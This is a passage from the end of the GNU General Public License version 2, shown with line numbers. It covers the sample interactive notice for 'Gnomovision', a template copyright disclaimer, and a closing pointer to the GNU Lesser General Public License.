should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | --------------------------------------------------------------------------------